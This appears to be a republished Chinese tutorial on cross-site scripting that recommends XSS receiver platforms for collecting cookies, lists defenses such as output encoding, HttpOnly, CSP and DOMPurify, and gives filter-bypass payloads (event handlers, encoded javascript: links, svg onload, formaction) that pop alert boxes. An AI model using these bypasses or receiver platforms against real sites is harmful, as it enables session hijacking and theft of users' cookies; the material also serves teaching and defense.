XSS漏洞—XSS平台搭建与打cookie

news2024/10/10 20:19:51
一、跨站脚本攻击漏洞接收平台

推荐两个:

1)xsser : XSS平台 - (支持http/https)XSS Platform

2)蓝莲花 :GitHub - firesunCN/BlueLotus_XSSReceiver

xsser:

BlueLotus:

二、跨站脚本攻击漏洞绕过及防御

跨站脚本攻击(Cross-Site Scripting,简称XSS)是一种常见的Web应用程序安全漏洞,攻击者可以通过这种漏洞在用户的浏览器中执行恶意脚本。这种攻击可以导致用户信息泄露、会话劫持、恶意软件下载等安全问题。以下是一些关于XSS攻击漏洞的绕过技巧和防御策略:

1. **输入验证与净化**:对所有不受信任的输入进行严格检查和净化,去除或转义特殊字符,如尖括号、双引号、斜线等。

  • 假设用户输入用于搜索查询,后端代码可能如下所示:
user_input = "<script>alert('xss');</script>"
sanitized_input = sanitize_input(user_input)
# 假设sanitize_input是一个函数,用于转义或删除恶意脚本

2. **输出编码**:在向浏览器输出数据时,确保正确使用HTML实体编码、JavaScript字符串编码或CSS编码,以防止恶意脚本的执行。

  • 当向用户显示数据时,确保对输出进行HTML编码:
echo htmlspecialchars($user_data, ENT_QUOTES, 'UTF-8');

3. **使用HTTPOnly Cookie**:设置session cookie为HTTPOnly属性,这样即使存在XSS漏洞,攻击者也无法通过JavaScript访问这些cookie,从而保护用户的会话安全。

  • 在设置cookie时,添加HTTPOnly标志:
Set-Cookie: sessionid=abc123; HttpOnly

4. **实施Content Security Policy (CSP)**:通过CSP策略限制网页加载的资源来源,避免引入恶意脚本。

  • 在HTTP响应头中设置CSP
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;

5. **前端安全库**:利用诸如 `DOMPurify` 这样的库对DOM操作进行安全过滤,防止基于DOM的XSS攻击。

  • 使用DOMPurify库对用户输入进行清理
var clean = DOMPurify.sanitize(userInput);
document.getElementById('result').innerHTML = clean;

6. **避免内联事件**:避免在HTML中使用内联JavaScript事件处理器,如 `onLoad="onload('{{data}}')"` 或 `onClick="go('{{action}}')"`,因为这些容易受到XSS攻击。

7. **避免拼接HTML**:前端采用拼接HTML的方法比较危险,如果可能,使用 `createElement`、`setAttribute` 等方法实现,或者采用成熟的渲染框架,如Vue或React。

8. **增加攻击难度**:使用上述的通用手段,降低被攻击的后果,例如通过WAF(Web Application Firewall)进行防御。

9. **持续更新和维护**:使用最新版本的Web开发框架和库,定期更新和打补丁,以修复已知的安全漏洞。

10. **安全审计与监控**:定期进行安全审计和监控,以便及时发现和修复安全漏洞。

XSS绕过的例子:
  • 绕过输入验证:
  • 攻击者可能会尝试使用不同的字符编码或分隔符来绕过简单的输入验证。例如,如果输入验证只检查 < 和 >,攻击者可能使用HTML实体如 &lt; 和 &gt; 来代替。

  • 绕过输出编码:
  • 如果防御措施只对某些字符进行编码,攻击者可能会利用未被编码的字符构造恶意脚本。例如,如果只对双引号进行编码,攻击者可以使用单引号来闭合JavaScript代码:

    ';alert('xss');//'
  • 绕过HTTPOnly Cookie:
  • 尽管HTTPOnly Cookie可以防止JavaScript访问,但攻击者可能会利用其他方式如URL参数或POST数据来传递会话ID,然后通过其他途径(如CSRF攻击)利用这些信息。

  • 绕过CSP:
  • 攻击者可能会尝试找到CSP策略的漏洞,例如,如果CSP策略允许加载某些内联脚本,攻击者可能会尝试注入恶意代码。

  • 利用前端框架的漏洞:
  • 如果前端框架没有正确地清理用户输入,攻击者可能会利用框架的漏洞来执行XSS攻击。例如,在Vue中,如果没有正确使用v-html指令,攻击者可能会注入HTML和JavaScript代码。

XSS绕过实例——弹窗动作

例如:有一个网页需要用户输入后回显用户的输入,但是没有做好XSS防范

01)< >被过滤的情况下

      假如在特殊标签下的时候,可以构造一些事件触发

"autofocus onfocus=alert(1)

02)alert被过滤的情况下

      编码;另外prompt和confirm也可以弹窗

<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>
//上面这条在Firefox可以运行,在chrome不行
<svg/onload=prompt(1)/>
<a href=j&#x61;v&#97script&#x3A;&#97lert(13)>M

03)on事件被过滤的情况下

<form><button formaction=javascript&colon;alert(1)>M
<a href="javascript:alert(document.location);">XSS</a>
<b style="width:expression(alert(document.location));">XSS</b>  //IE6以下不可以
<math><a Xlink:href=javascript:alert(1)>1</a></math>  //Firefox可以,chrome不可以

      可以执行js的属性:

formaction action href xlink:href src content data

04)其他情况

XSS防御实例

1.阻止恶意代码注入

2.阻止恶意操作执行

不管是反射型还是存储型xss,都能通过服务端过滤进行防御:

  • 黑名单:过滤特殊符号及字符,如< , > , % , # , / , " , ' , ( , ) , script , svg , object , on事件等
  • 白名单:只允许特定类型或符号

根据输入的数据特征限制使用的类型,如年龄限制为数字类型:输入类型为字符型限制为仅可使用大小写的26个字母及数字及-和_;等


​​​​​​​

  • 编码及转义:输出在标签或属性中进行HTML编码;输出在script标签或事件中进行JavaScript编码;输出在URL中进行URL编码
  • cookie中设置httponly:setcookie将httponly选项设置为true,防范cookie劫持
  • 确保执行脚本来源可信:开发者明确的告诉客户端,哪些外部资源可以加载执行(CSP策略)
  • 不使用有缺陷的第三方库

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1862807.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Deepl网页版使用方法

Deepl网页版科学使用方法 Deepl 网页版使用方法重要链接使用方式一、在没有使用插件前的Deepl界面二、安装DeepL.Crack.v1.2.7插件三、插件安装后打开[Deepl官网](https://www.deepl.com/zh/translator)即可四、在翻译整篇文章的权限怎么设置 Deepl 网页版使用方法 重要链接 …

轻松掌握:工科生如何高效阅读国际期刊和撰写论文(下)

⭐️我叫忆_恒心&#xff0c;一名喜欢书写博客的研究生&#x1f468;‍&#x1f393;。 如果觉得本文能帮到您&#xff0c;麻烦点个赞&#x1f44d;呗&#xff01; 近期会不断在专栏里进行更新讲解博客~~~ 有什么问题的小伙伴 欢迎留言提问欧&#xff0c;喜欢的小伙伴给个三连支…

最长上升子序列模型

此模型属于线性dp的分类&#xff1a; 基础知识 1.最长上升子序列 首先思考暴力的解决题目的方式&#xff1a;可以通过dfs指数型枚举&#xff0c;枚举出所有的序列&#xff0c;然后判断是否合理&#xff0c;然后找到最长的上升子序列的长度。 然后我们想如何优化&#xff1a…

计算机工具软件安装攻略:Chrome浏览器下载安装及使用

1 Chrome简介 Chrome是谷歌公司开发的一款免费网页浏览器它快速、稳定、安全拥有简洁流畅的界面和丰富的应用程序内置了强大的谷歌搜索引擎。Chrome使用Blink浏览器引擎和V8 JavaScript引擎支持多种插件和扩展程序让浏览网页更便捷。它可以与Android手机良好同步支持跨设备浏览…

Rust编写测试及控制执行

编写测试及控制执行 在 Rust 中&#xff0c;测试是通过函数的方式实现的&#xff0c;它可以用于验证被测试代码的正确性。测试函数往往依次执行以下三种行为&#xff1a; 设置所需的数据或状态运行想要测试的代码判断( assert )返回的结果是否符合预期 让我们来看看该如何使…

Prometheus:开源监控解决方案的力量

前言 在当今高度数字化和云原生应用的时代&#xff0c;监控系统是确保系统稳定性和性能的关键组成部分。而 Prometheus 作为一种开源的监控解决方案&#xff0c;正在成为越来越多企业和开发者的首选。本文将深入探讨 Prometheus 的特性、优势以及如何利用它来构建强大的监控系…

华为VPN通过安当ASP身份认证系统快速实现认证

华为VPN通过安当ASP身份认证系统实现认证的过程&#xff0c;主要涉及到Radius OTP&#xff08;一次性密码&#xff09;认证技术的使用。以下是实现这一过程的详细步骤&#xff1a; 1. 前提条件&#xff1a; 确保系统已经激活了Radius模块&#xff0c;并在安全设置中的RADIUS配…

6、双足机器人mpc构建

状态方案预处理由质心动力学状态方程将{状态递推序列x}展开: 其中: x为状态递推序列,其下是堆叠矩阵表达式。xn为n时刻的状态变量,un-1为n-1时刻的输入变量。输出y=x,参考目标Refer=0,误差e=y-Refer=x-0=x,n为预测空间;二次规划前述建立了空间状态方程,接下来就可以…

全球行政边界数据(多年份)

GADM&#xff0c;全称Database of Global Administrative Areas&#xff0c;是一个高精度的全球行政区划数据库。其包含了全球所有国家和地区的国界、省界、市界、区界等多个级别的行政区划边界数据。 两种下载方式&#xff1a; 下载全球所有国家和地区的所有数据 https://gad…

Java核心知识(一):JVM

JVM 前言 文本源自微博客 (www.microblog.store),且已获授权. 一、线程 1.1 基本概念 JVM是可运行java代码的假象计算机,包括一套字节码指令集、一组寄存器、一个栈、一个垃圾回收、堆和一个存储方法域。JVM是运行在操作系统之上的&#xff0c;与硬件没有直接的交互。 1.2 运…

RabbitMQ(消息队列)

RabbitMQ 它是消息中间件&#xff0c;是在消息的传输过程中保存消息的容器&#xff0c;实现应用程序和应用程序之间通信的中间产品。目前主流消息队列通讯协议是AMQP&#xff08;二进制传输&#xff0c;支持多种语言&#xff09;、JMS&#xff08;HTTP传输&#xff0c;只支持J…

故障诊断 | HO-VMD-TCN河马优化算法优化变分模态分解时间卷积神经网络故障诊断模型

效果一览 文章概述 故障诊断 | HO-VMD-TCN河马优化算法优化变分模态分解时间卷积神经网络故障诊断模型&#xff01;河马优化算法&#xff08;Hippopotamus optimization algorithm&#xff0c;HO&#xff09;由Amiri等人于2024年提出&#xff0c;该算法模拟了河马在河流或池塘中…

突破架构瓶颈:克服软件系统中的漂移和侵蚀

一种常见但不完美的比喻是将软件系统中的架构漂移和侵蚀与物理建筑的架构相比。虽然这个比喻很直观&#xff0c;但它存在一个根本性的误解&#xff0c;这也常常引发软件开发中的架构问题。 试想一下&#xff0c;一个设计良好的摩天大楼或房屋建成后&#xff0c;我们期望它基本保…

数字革命的先锋:揭示Facebook的技术创新

在当今数字化飞速发展的时代&#xff0c;技术创新不仅改变了人们的生活方式&#xff0c;也深刻影响着社会的发展和文化的演变。作为全球最大的社交网络平台&#xff0c;Facebook不仅扮演着连接人与人之间的桥梁角色&#xff0c;更是技术创新的领军者之一。本文将深入探讨Facebo…

【STM32入门学习】学习嵌入式实时操作系统(RTOS)移植uc/OS到stm32F103上

目录 一、建立STM32HAL库工程 1.1实时操作系统 1.2基于HAL库创建工程 二、获取uC/OS-III源码 三、移植准备 3.1复制uC/OS-III文件到工程文件夹 3.2添加工程组件和头文件路径 四、移植修改代码 &#xff14;.1.启动文件修改&#xff1a; &#xff14;.2.app_cfg.h &a…

【PA交易】BackTrader的交易管理

前言 本主要讨论BackTrader中的Broker定制化。如果你已经对于BackTrader的交易管理非常熟悉&#xff0c;并且自己有了成熟的适配方案&#xff0c;那么并不需要看这篇文章。但是如果你还没有深入研究过&#xff0c;那么这篇文章可能会给到你启发。 背景与需求 网上现存大量资…

【数据结构】(C语言):链表

链表&#xff1a; 基本单位是节点。节点至少两部分&#xff1a;数据&#xff0c;下一个数据的地址。头指针head&#xff0c;始终指向链表的第一个节点。若没有节点&#xff0c;则headNULL。链表在内存中是非连续的。不能使用索引&#xff08;下标&#xff09;查找元素。只能从…

关于application/x-www-form-urlencoded跟application/json请求的区别

当你的java方法是这样定义的 PostMapping("/rePushMedicalRecord") public String rePushMedicalRecord(RequestParam("topicId") String topicId){ } 参数是RequestParam接收&#xff0c;则请求时需要用application/x-www-form-urlencoded请求 如果是R…

【ARMv8/v9 GIC 系列 2.3 -- GIC SPI 中断的 GICD_CLRSPI_NSR寄存器】

文章目录 GICD_CLRSPIN_NSR寄存器功能INTID 位 [12:0]中断触发类型的影响小结 GICD_CLRSPIN_NSR 在 ARMv9 架构下&#xff0c;GIC&#xff08;Generic Interrupt Controller&#xff09;是负责中断管理的关键组件&#xff0c;它支持复杂的中断处理需求&#xff0c;包括多处理器…

OS中断机制-嵌套和竞争

对于FreeRTOS最好不去用中断嵌套,中断嵌套会增加堆栈空间的使用,因为每个中断服务程序都需要保存和恢复寄存器状态,这可能会耗尽有限的堆栈空间,从而导致系统故障。以及中断嵌套时,不同的中断服务程序可能会竞争访问共享资源,从而增加死锁的风险。这可能会导致系统出现故…